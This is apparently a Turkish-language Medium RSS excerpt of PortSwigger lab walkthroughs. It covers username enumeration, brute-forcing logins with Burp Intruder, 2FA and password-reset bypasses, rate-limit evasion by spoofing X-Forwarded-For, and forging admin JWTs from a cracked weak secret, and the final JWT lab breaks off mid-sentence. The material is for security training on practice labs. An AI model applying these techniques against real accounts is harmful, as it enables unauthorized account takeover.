            <link>https://medium.com/@eneskurtlan/portswigger-authentication-lab-%C3%A7%C3%B6z%C3%BCmleri-1-d357dad750b0?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/d357dad750b0</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Wed, 27 Aug 2025 11:44:20 GMT</pubDate>
            <atom:updated>2025-08-27T11:44:20.339Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab: Username enumeration via different responses</strong></p><p>Bu lab, kullanıcı adı tespiti (username enumeration) ve parola brute-force saldırılarına karşı savunmasızdır. Aşağıdaki kelime listelerinde (wordlist) bulunabilecek, tahmin edilebilir bir kullanıcı adı ve parola içeren bir hesabı vardır:</p><p>· Olası kullanıcı adları</p><p>· Olası parolalar</p><p>Labı çözmek için önce geçerli bir kullanıcı adını tespit edin, ardından bu kullanıcının parolasını brute-force yöntemiyle bulun ve son olarak hesabın profil sayfasına erişin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*QAzGaBPSoIm7mP5usMiawA.jpeg" /></figure><p>BurpSuite’i aktif hale getirip labı başlatıyorum. Giriş bilgilerine brute-force saldırısı yapacağım için listeden rastgele bir kullanıcı adı ve parola seçerek deneme yapıyorum. Bu deneme isteğini Burp üzerinden yakalayıp hem Repeater hem de Intruder sekmesine ekliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*llsy_WoVZMkquLQxAVNfkg.jpeg" /></figure><p>Intruder’a geçerek username ve password alanlarını seçip <strong>Add</strong> diyerek saldırı yapılacak parametreleri belirliyorum. Bana verilen kullanıcı adı ve parola listelerini ekliyorum. Ardından atak türünü <strong>Pitchfork</strong> olarak seçiyorum çünkü bu mod, iki farklı listeyi satır satır eşleştirerek test yapmamı sağlıyor. Sonrasında saldırıyı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*VAVdStZ6ftH5cnnj36aJig.jpeg" /></figure><p>Saldırı sonucunda tüm istekler <strong>200</strong> status code ile dönse de, yanıt uzunluklarını incelediğimde yalnızca bir kullanıcı adının <strong>length</strong> değerinin farklı olduğunu gördüm. Render sekmesine baktığımda ise bana parolanın yanlış olduğunu belirten bir mesaj görüntülendi. Bu durum, doğru kullanıcı adını bulduğumu ancak parolanın yanlış olduğunu gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*P6veB3RwPASS42du4QTk8w.jpeg" /></figure><p>Intruder’a giderek bu sefer kullanıcı adını sabit tutup parola üzerinde saldırı başlatıyorum. Tek bir parametreye saldırı yapacağım için atak türünü <strong>Sniper</strong> olarak seçiyorum. Ardından <strong>Start attack</strong> diyerek saldırıyı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*EzHlKbcEk85YNi1egm0G1A.jpeg" /></figure><p>Yaptığım saldırıda 302 yönlendirme ile başarılı bir sonuç aldım ve böylece parolayı bulmuş oldum. Bulduğum parolayı deneyerek labı başarıyla tamamladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*JkPzccKObgQF20f-ZmGFuw.jpeg" /></figure><p><strong>Lab: 2FA simple bypass</strong></p><p>Bu labın iki faktörlü kimlik doğrulaması atlatılabilir. Geçerli bir kullanıcı adı ve şifreye zaten sahipsiniz, ancak kullanıcının 2FA doğrulama koduna erişiminiz yok.<br> Labı çözmek için Carlos’un hesap sayfasına erişin.</p><p>Sizin giriş bilgileriniz: wiener:peter<br>Hedefin giriş bilgileri: carlos:montoya</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*yweq9ITtBGgppsNEokz6xA.jpeg" /></figure><p>BurpSuite’i açıp labı başlattıktan sonra wiener:peter hesabıyla giriş yaptığımda, sistem benden e-posta ile gönderilen doğrulama kodunu girmemi istiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*F4L3sgfxGmXdUNRzty0uBA.jpeg" /></figure><p>“Email client” butonuna bastığımda doğrulama kodunun başarıyla ulaştığını görüyorum. Kodu girdikten sonra dizinde yapılan değişikliği fark ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*T0Kg7A2c_TTpadVtBqzasQ.jpeg" /></figure><p>Diğer kullanıcıya giriş yapmadan önce BurpSuite’te Intercept’i açıyorum ve kullanıcı adını giriyorum. Paketler arasında /login dizinini görene kadar Forward işlemi yapıyorum. Eğer /login dizinini forward etseydim, beni e-posta doğrulamasına yönlendirecekti. Bunun yerine, bu isteği yakalayıp dizine my-account parametresini ekliyorum ve /login isteğini drop ediyorum. Ardından paketleri forward ederek devam ediyorum ve böylece 2FA’yı başarılı bir şekilde bypass etmiş oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*o_2aKUa_rdKx-oQXSMoNqw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*ZNWBXTMp5dvGUD-A-GsbpA.jpeg" /></figure><p>Böylece lab başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*nvxTClxKM-CUFdgAQC2E0Q.jpeg" /></figure><p><strong>Lab: Password reset broken logic</strong></p><p>Bu laboratuvarın parola sıfırlama işlevi güvenlik açığına sahip. Laboratuvarı çözmek için Carlos’un parolasını sıfırlayın, ardından giriş yapıp onun <strong>“Hesabım”</strong> sayfasına erişin.</p><p>Kendi bilgilerin: wiener:peter<br>Hedef kullanıcının kullanıcı adı: Carlos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*ppkkKi685LCmVheTUUGhTQ.jpeg" /></figure><p>BurpSuite’i aktif hale getirerek <strong>My Account</strong> kısmından <strong>Forgot Password</strong> seçeneğine tıklıyorum. Açılan pencerede kullanıcı adını girip <strong>Submit</strong> butonuna basıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*D6MIe2KMSw8rvbe00GKYjg.jpeg" /></figure><p>Email client gittiğimde bana parola sıfırlamam için bir link göndermektedir. Bu linke tıklayarak parola sıfırlama işlemi yapıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*IcByNbt5pF4cmJAbyBtj5A.jpeg" /></figure><p>Parolayı sıfırladıktan sonra ilgili isteği analiz etmek için <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*yWOChm02MdtJiPGTVih-oA.jpeg" /></figure><p>Burada dikkatimi çeken nokta, parola sıfırlama işleminde bana bir <strong>token bilgisi</strong> gönderiliyor. Bu token değerini değiştirerek ne olacağını test ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*qCT7kgvnKvqZXAa__ZkLoA.jpeg" /></figure><p>Token değişkenini “E” olarak değiştiriyorum ve isteği yine kabul ettiğini görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*tyY0BaxAAc42E6ORs7fETQ.jpeg" /></figure><p>Arka planda kullanıcıya ait bir <strong>token doğrulaması yapılmadığı için</strong>, başka bir kullanıcının parolasını değiştirebileceğimi fark ettim. Lab benden <strong>Carlos</strong> kullanıcısının parolasını sıfırlamamı istediği için bu kullanıcı için sıfırlama işlemini gerçekleştirdim ve başarılı bir şekilde <strong>302 yönlendirme kodu</strong> ile yanıt aldım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*4aybMtoe0nmWoCemKTi_SQ.jpeg" /></figure><p>Carlos kullanıcısı için belirlediğim yeni parola ile giriş yaptıktan sonra <strong>başarılı bir şekilde oturum açtım</strong> ve böylece <strong>labı tamamlamış oldum</strong>. Bu, sistemin parola sıfırlama sürecinde kullanıcıya özel token doğrulaması yapmadığını ve bunun ciddi bir güvenlik açığına yol açtığını anlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*j4aShtdmvMVvBloRQP3pmw.jpeg" /></figure><p><strong>Lab: Username enumeration via subtly different responses</strong></p><p>Bu lab, kullanıcı adı enumerasyonu ve parola brute-force saldırılarına karşı gizli bir şekilde savunmasızdır. Öngörülebilir bir kullanıcı adı ve parola içeren bir hesap mevcuttur ve bu bilgiler aşağıdaki wordlist’lerde bulunabilir:</p><p>· Olası kullanıcı adları</p><p>· Olası parolalar</p><p>Labı çözmek için, geçerli bir kullanıcı adını tespit edin, bu kullanıcının parolasını brute-force yöntemiyle bulun ve ardından hesap sayfasına erişin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*2OPEgXbYPiqrviwkZWkMEQ.jpeg" /></figure><p>BurpSuite’i aktif hale getirip labı başlattıktan sonra, sistemin brute-force saldırılarına karşı savunmasız olduğunu bildiğim için kullanıcı adı ve parola üzerinde saldırı gerçekleştireceğim. Bunun için ilgili isteği yakalayıp Intruder sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*MlC-YsBrU7lKgSgFzIu5Ag.jpeg" /></figure><p>Bana verilen kullanıcı adı ve parola listelerini kullanarak bir brute-force saldırısı başlatacağım. Atak türünü <strong>Pitchfork</strong> olarak seçiyorum, çünkü bu yöntemle her iki listeyi paralel olarak eşleştirerek 100 farklı kombinasyon deneyebiliyorum. BurpSuite’in Pro sürümü olanlar <strong>Cluster Bomb</strong> saldırısını da kullanabilir, fakat bu yöntem labın öğretmek istediği kritik detayı kaçırmanıza sebep olabilir. Bu nedenle <strong>Pitchfork</strong> atağını seçip saldırıyı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*aqW2-AKrDYnvlVmvHOoHxg.jpeg" /></figure><p>Saldırı sonuçlarını incelediğimde çoğu isteğin <strong>200</strong> durum kodu ile döndüğünü görüyorum. Ancak başarılı girişin işareti olan <strong>302 yönlendirme kodunu</strong> arıyorum. Bunun yanında, yanıtların <strong>Length</strong> değerlerini kontrol ettiğimde bazı isteklerin farklı uzunluklara sahip olduğunu fark ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*7HTP0F3FvpTl_1ncTF5NZQ.jpeg" /></figure><p>Yanlış kullanıcı bilgileri girdiğimde bana “Invalid username or password.” hatası vermektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*0YPnpo22NDxyNIgAwB_iZA.jpeg" /></figure><p>Intruder’a dönerek bu hatayı <strong>Grep — Match</strong> kısmına ekliyorum. Böylece saldırıyı tekrar başlattığımda, bu hatayı içeren yanıtlar <strong>1</strong> olarak işaretlenecek, içermeyenler ise <strong>boş (null)</strong> olarak görünecek.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*nGVlNoS4MAYqpRRc5qjbEw.jpeg" /></figure><p>Intruder sonucunu incelediğimde, bu hatayı <strong>içermeyen</strong> tek satırın <strong>mysql</strong> kullanıcısına ait olduğunu görüyorum. Response detayına baktığımda ise geliştiricinin (developer) mesaj sonunda nokta (.) koymayı unuttuğunu fark ediyorum. Bu durum, kullanıcı adının <strong>doğru</strong>, ancak parolanın <strong>yanlış</strong> olduğunu tahmin etmekteyim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*ACz4vM1tltqx6NeO0oxuuA.jpeg" /></figure><p>Bu nedenle tekrar atağı başlatıyorum. Kullanıcı adını <strong>“mysql”</strong> olarak sabit bırakıp, parola kısmına <strong>sniper</strong> atak türüyle saldırı yapıyorum ve bu kez başarılı bir şekilde <strong>302 durum kodu</strong> alıyorum. Böylece doğru kullanıcı adı ve parolayı bulmuş oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*SfooKkDkfSpXstH7XgCC7g.jpeg" /></figure><p>Bulduğum bilgileri giriyorum ve başarılı bir şekilde lab tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*rkxc-foxrXl0mzaTf8_edA.jpeg" /></figure><p><strong>Lab: Username enumeration via response timing</strong></p><p>Bu lab, yanıt sürelerini kullanarak kullanıcı adı tespitine karşı savunmasızdır. Labı çözmek için geçerli bir kullanıcı adını tespit edin, bu kullanıcının parolasını brute-force yöntemiyle kırın ve ardından hesabının sayfasına erişin.</p><p><strong>Verilen bilgiler:</strong></p><p>· Sizin giriş bilgileriniz: <strong>wiener:peter</strong></p><p>· Aday kullanıcı adları</p><p>· Aday parolalar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*OH1MX9BpyxUp6Z5aFWGBhQ.jpeg" /></figure><p>BurpSuite’i aktif hale getirerek labı başlatıyorum. Verilen giriş bilgileri, sistemin arka planda nasıl çalıştığını anlamam için sağlanmış. Bu bilgileri kullanarak senaryoyu test etmek amacıyla paketi Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*UWAVcJRvsr2SIKmNb4PkxQ.jpeg" /></figure><p>Pakette çeşitli denemeler yaptıktan sonra, bir kullanıcıya ait şifreyi 3 kez yanlış girdiğimde sistemin beni 30 saniye beklettiğini gözlemliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*keDYokOgC7RvndrfIg5wTA.jpeg" /></figure><p>Bu 30 saniyelik bekleme süresini atlatmak için pakete X-Forwarded-For parametresini ekliyorum. Bunu yapmamın nedeni, sistemin IP adresine göre gecikme uygulaması; her 3 başarısız denemede IP’yi değiştirerek isteği yeniden gönderebiliyoruz. Yani buradaki amaç, IP’mizi her 3 istekte bir güncelleyerek sistemi atlatmak.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*va-dWPV5B-t43uZhgQ4o9A.jpeg" /></figure><p>Şimdi sistemin çalışma mantığını anlamak için, parola uzunluğunu sabit tutarak hem var olan hem de olmayan kullanıcıları deniyorum. Gözlemlediğim fark, sistemde var olan kullanıcıların cevap sürelerinin daha uzun olması. Bu da gösteriyor ki, sistem kullanıcı varlığını cevap süresi üzerinden belli ediyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*L8EAF5UvOVqFIuazFIFFlA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*H6X_JgAHmSkvVwv3RVaVZA.jpeg" /></figure><p>Bu nedenle paketi Intruder’a göndererek kullanıcı adına bir atak başlatıyorum. Atağı pitchfork olarak seçiyorum çünkü iki değişkenle çalışacağım: birincisi her istekte değiştirmem gereken IP için x-forwarded-for parametresi, ikincisi ise kullanıcı adı. Ardından <strong>Start attack</strong> diyerek atağı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*5RbUMJVMIDli_mJoOBcTwA.jpeg" /></figure><p>Atak sonucunu incelediğimde, <strong>Response received</strong> ve <strong>Response completed</strong> sürelerine baktığımda, en yüksek süre <strong>archie</strong> kullanıcısına ait olmuştur. Bu, sistemde bu kullanıcının var olduğunu gösteriyor; çünkü cevap süresi diğerlerine göre belirgin şekilde daha uzun sürmüştür.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*asS5ZEBRetnT03h3H2sS-A.jpeg" /></figure><p>İkinci bir atak başlatarak, kullanıcı adını <strong>archie</strong> olarak sabitliyorum ve parolayı denemek üzere değiştirerek saldırıyı başlatıyorum. İlk ataktaki gibi, her istekte IP adreslerini değiştirerek saldırının devam etmesini sağlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*I9nVI6skRRNivadWBZSIwQ.jpeg" /></figure><p>Saldırı sonucunu incelediğimde, başarılı bir şekilde 302 yönlendirme kodu aldığımı görüyorum. Böylece parolayı da öğrenmiş oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*N3USEgJu-QylU_dxHHNTsA.jpeg" /></figure><p>Repeater’a gidip bulduğum giriş bilgilerini denediğimde, labı başarılı bir şekilde tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*sH_q2GkuEn1zn6zZDMRbZA.jpeg" /></figure><p><strong>Lab: Broken brute-force protection, IP block</strong></p><p>Bu laboratuvar, parola brute-force korumasındaki bir mantık hatası nedeniyle savunmasızdır. Labı çözmek için, hedef kullanıcının parolasına brute-force saldırısı yapın, ardından giriş yaparak hesap sayfasına erişin.</p><p>· Sizin giriş bilgileriniz: wiener:peter</p><p>· Hedef kullanıcının kullanıcı adı: carlos</p><p>· Aday parolalar: Candidate passwords</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*1giPk5By_8NGJdeuwna1ag.jpeg" /></figure><p>BurpSuite aktif hale getirerek lab başlatıyorum. Kullanıcı giriş bilgilerini random olarak deneyerek paketi Repeater’a göndererek analiz ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*iw8cli48Oe-d66Me9-v9Wg.jpeg" /></figure><p>Analizlerim sırasında, üç kez yanlış parola girdiğimde sistemin beni 1 dakika süreyle engellediğini gözlemledim. IP adresini değiştirerek isteği göndersem bile bloklama devam ediyor. Ayrıca, her iki yanlış girişten sonra bir doğru giriş yaparsam sistem beni bloklamamaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*bcCSH7CjF_MEr5rxe_ViTg.jpeg" /></figure><p>Bir python scripti yazarak 2 yanlış denememde 1 doğru deneme yaparak sisteme girmeyi hedefleyen listeyi hazırlıyorum</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*C-6xpDMgUvtPy03w0fOWuw.jpeg" /></figure><p>Kullanıcı için giriş listesi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*bLd0bjCxv2u_qOtABBA4XQ.jpeg" /></figure><p>Password için giriş listesi:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*N6PZFqSdJh1ktScb9ZKPZw.jpeg" /></figure><p>Oluşturduğum listeyi Intruder’a ekleyerek bir atak başlatıyorum ve atak türü olarak <strong>Pitchfork</strong> seçiyorum. Username ve password listelerini de ekledikten sonra önemli bir ayar olan <strong>Resource Pool</strong> kısmına geçiyorum. Burada <strong>yeni bir pool oluşturup değerini 1 olarak ayarlıyorum</strong>.</p><p><strong>Neden 1 yapıyoruz?</strong> Çünkü labda brute-force koruması bulunuyor. Eğer aynı anda çok fazla istek gönderirsek, sistem kısa sürede bu durumu fark ediyor ve istekleri bloke ederek tüm yanıtları 200 (başarısız giriş) şeklinde döndürüyor. Pool değerini 1 yapmamızın amacı, istekleri <strong>tek tek sırayla</strong> göndermek. Böylece saldırıyı hız yerine sabırla yapıyoruz ve sistemin hız temelli korumasını atlatıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*_45Ba3yUgD8DWuMeCtzWMA.jpeg" /></figure><p>Atak tamamlandığında <strong>Carlos</strong> kullanıcısına ait giriş denemelerinde <strong>302 yönlendirme (başarılı giriş) kodunu</strong> görüyorum. Bu da doğru parolayı bulduğumu gösteriyor. Böylece Carlos’un parola bilgisini başarılı bir şekilde elde etmiş oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*onPRK-u24d4A7FjR_ZMZhQ.jpeg" /></figure><p>Elde ettiğim kullanıcı bilgilerini kullanarak giriş yaptığımda, başarılı bir şekilde sisteme erişim sağlıyorum ve böylece labı tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*IBO4oGTNjaY_HgAv-bUfog.jpeg" /></figure><p><strong>Lab: Username enumeration via account lock</strong></p><p>Bu laboratuvar kullanıcı adı numaralandırmasına karşı savunmasızdır. Hesap kilitleme kullanır, ancak bu bir mantık kusuru içerir. Laboratuvarı çözmek için geçerli bir kullanıcı adı, bu kullanıcının şifresini kaba zorlama, ardından hesap sayfasına erişin.</p><p> Aday kullanıcı adları</p><p> Aday parolalar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*1lsqqoeYNJouJmKNAIVKXw.jpeg" /></figure><p>BurpSuite’i aktif hale getirip, verilen listeden herhangi bir kullanıcı bilgisi giriyorum ve bu isteği BurpSuite üzerinden yakalıyorum. Ardından, paketi analiz edebilmek için hem Repeater’a hem de Intruder’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*F1XHMd_V5GPBX8U_dIY8tA.jpeg" /></figure><p>Kullanıcı adı ve parola alanında brute-force saldırısı gerçekleştirdiğimde herhangi bir kısıtlamaya takılmadığımı görüyorum. Sistemin mantığını anlamak için, kullanıcı adlarına 5 adet boş (null) parola isteği göndererek herhangi bir kısıtlama uygulanıp uygulanmadığını kontrol etmek amacıyla bir saldırı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*z-nUmFsZYDMnBNKAGGMj0A.jpeg" /></figure><p>Yaptığım paket analizi sonucunda şu mantığı tespit ettim: Eğer geçerli bir kullanıcı adı girilirse, sunucu arka planda kontrol gerçekleştiriyor ve 3 başarısız giriş denemesine izin veriyor, ardından 1 dakikalık bekleme süresi uyguluyor. Buna karşılık, kullanıcı adı sistemde yoksa herhangi bir kısıtlama uygulanmıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*i0ZJWmCCDjZRiyu2L1UJvg.jpeg" /></figure><p>Intruder saldırısı sonucunda, response length değerlerini incelediğimde ‘ftp’ kullanıcısının 2 istekte 1 dakikalık bekleme limitine ulaştığını gözlemledim. Bu durum, sistemin 3 başarısız denemeden sonra her 2 denemede bir bekleme süresi uyguladığını ve dolayısıyla ‘ftp’ kullanıcı adının sistemde mevcut olduğunu gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*VZ6Wy7X_fBGrItaVqkbOKQ.jpeg" /></figure><p>Kullanıcı adı olarak doğruladığım ‘ftp’ bilgisini sabit bırakarak Intruder üzerinde parola brute-force saldırısını başlatıyorum. Burada saldırı tipi olarak <em>Sniper</em> seçiyorum, çünkü yalnızca tek parametreyi (password) değiştireceğim. Bana verilen parola listesini payload olarak ekledikten sonra saldırıyı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*CGNUH0t-N-VvmC1hY3irfg.jpeg" /></figure><p>Saldırı sonucunda, yanıtların uzunluk değerlerini (Length) incelediğimde, belirli bir parolada herhangi bir kısıtlama uygulanmadığını fark ettim. Diğer denemelerde hesap kilitleme veya bekleme süresi devreye girerken, bu parola için bekleme uygulanmamış olması, parolanın doğru olduğuna işaret etmektedir</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*Qj1fGqlALL6cFnmiJKDXMQ.jpeg" /></figure><p>Elde ettiğim kullanıcı adı ve parolayı girerek sisteme başarılı bir şekilde login oluyorum. Böylece lab başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*6vAL6CiwTLjdDAJywQKQdQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d357dad750b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JSON Web Token (JWT) PORTSWİGGER Lab Çözümleri-2]]></title>
            <link>https://medium.com/@eneskurtlan/json-web-token-jwt-portswi%CC%87gger-lab-%C3%A7%C3%B6z%C3%BCmleri-2-c4404215f32f?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4404215f32f</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 07:07:46 GMT</pubDate>
            <atom:updated>2025-08-20T07:07:46.249Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab: JWT authentication bypass via weak signing key</strong></p><p>Bu laboratuvar, oturumları yönetmek için JWT (JSON Web Token) tabanlı bir mekanizma kullanmaktadır. Token’ları imzalamak ve doğrulamak için <strong>son derece zayıf bir gizli anahtar (secret key)</strong> kullanır. Bu anahtar, yaygın gizli anahtarların bulunduğu bir wordlist kullanılarak kolayca brute-force (kaba kuvvet) yöntemiyle kırılabilir.</p><p>Laboratuvarı çözmek için:</p><p>1. Web sitesinin kullandığı <strong>gizli anahtarı (secret key)</strong> brute-force yöntemiyle ele geçirin.</p><p>2. Bu gizli anahtarı kullanarak, <strong>admin paneline erişim</strong> sağlayacak şekilde değiştirilmiş (modifiye edilmiş) bir oturum (session) token’ı oluşturun.</p><p>3. Ardından <strong>/admin</strong> yoluna gidin ve <strong>carlos</strong> adlı kullanıcıyı silin.</p><p>Kendi hesabınızla oturum açmak için şu giriş bilgilerini kullanabilirsiniz:<br> <strong>Kullanıcı adı:</strong> wiener<br> <strong>Parola:</strong> peter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*3PHYlY7-Rkt1h--0CfODkA.jpeg" /></figure><p>Labı başlatmadan önce her zamanki gibi BurpSuite’i aktif hale getiriyorum. Ardından, verilen kullanıcı bilgileri (wiener:peter) ile giriş yapıyorum. Giriş isteğini BurpSuite üzerinden yakalıyor ve detaylı analiz için Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*tLezLZolyhFMVzxeptiQSw.jpeg" /></figure><p>Pakette yer alan JWT token’ı alarak içeriğini çözmeyi planlıyorum. JWT token’ı çözümlemeye çalışmamın nedeni, token’ın imza kısmının bir hash algoritması ile oluşturulmuş olması ve sunucunun bu imzayı doğrularken kullanılan gizli anahtarın ele geçirilmesiyle sahte token üretiminin mümkün hale gelmesidir. Bu doğrultuda, token’ın imza kısmını kırmak için Hashcat aracını kullanıyorum. Uygun wordlist’e ulaşmak için GitHub üzerinde “JWT wordlist” araması yaparak gerekli listeyi indiriyorum. Hashcat ile gerçekleştirdiğim saldırı sonucunda, token’ın imzasının “secret1” olduğunu görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Akf_-D0_HT0HhhiN8GU2PA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNv8eit25Q7QDxf4UXmlrw.jpeg" /></figure><p>BurpSuite üzerinden bu bulduğum değer base64 ile encode ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*2O5YbwzxYWzrXpC8wlXgfQ.jpeg" /></figure><p>Elde ettiğim Base64 ile şifrelenmiş değeri, “Symmetric Key” (Bu anahtar, JWT’nin HMAC algoritmasıyla imzalanmasında kullanılan gizli anahtardır. Bu anahtarı elde ettiğimizde, geçerli görünen sahte JWT’ler oluşturabiliriz.) alanına giriyorum. Ardından “OK” diyerek işlemi onaylıyor ve devam ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*ME7FIs5pJ9diTHapV4cHXA.jpeg" /></figure><p>JWT token’ının payload (yük) kısmında bulunan “wiener” kullanıcı adını “administrator” olarak değiştiriyorum. Ardından, yetkili bir alana erişim sağlamak amacıyla dizini /admin olarak güncelliyor ve isteği gönderiyorum. Bu değişikliklerle birlikte sunucudan 200 (OK) durum kodunu alıyor, yani isteğin başarıyla işlendiğini görüyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8rA7NzEh0ONZW3fgnaMdw.jpeg" /></figure><p>Sunucudan gelen response (yanıt) içerisinde, Carlos kullanıcısını silmem için gerekli olan dizin bilgisi yer alıyordu. Bu dizini kullanarak isteği gönderiyorum ve böylece Carlos kullanıcısı başarıyla siliniyor. Sonuç olarak, lab senaryosunu başarıyla tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*jUHq-xf6ZQL3RegpGINRqQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*GfXIxCLMfunpvzf4RkFB_A.jpeg" /></figure><p><strong>Lab: JWT authentication bypass via jwk header injection</strong></p><p>Bu lab, oturumları yönetmek için JWT (JSON Web Token) tabanlı bir mekanizma kullanmaktadır. Sunucu, JWT başlığında bulunan jwk parametresini desteklemektedir. Bu parametre, doğru doğrulama anahtarının doğrudan token içine gömülmesi amacıyla bazen kullanılır. Ancak, sunucu sağlanan anahtarın güvenilir bir kaynaktan gelip gelmediğini kontrol etmemektedir.</p><p>Bu labı çözmek için, size<strong> </strong><strong>/admin </strong>paneline erişim verecek şekilde bir JWT’yi değiştirip imzalayın ve ardından<strong> </strong><strong>carlos </strong>adlı kullanıcıyı silin.</p><p>Kendi hesabınıza aşağıdaki kimlik bilgileriyle giriş yapabilirsiniz:<strong> wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*J-DmfuyqFKJgmcIqucGPiQ.jpeg" /></figure><p>Her labda olduğu gibi bu labda da BurpSuite aktif ederek giriş bilgilerini wiener:peter ile login oluyorum. Bu paketi analiz etmek için BurpSuite üzerinden Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*5UmI5RvA5eECHAOI6OQnDA.jpeg" /></figure><p>Labda belirtilen güvenlik açığı, <strong>JWT (JSON Web Token)</strong> sisteminin <strong>jwk (JSON Web Key)</strong> parametresine dayanıyor. Normalde, bir JWT&#39;nin imzası sunucudaki güvenilir bir anahtar (public key) ile doğrulanır. Ancak bu labda, sunucu JWT’nin içindeki <strong>jwk</strong> parametresini kullanarak imzayı doğrulamaya 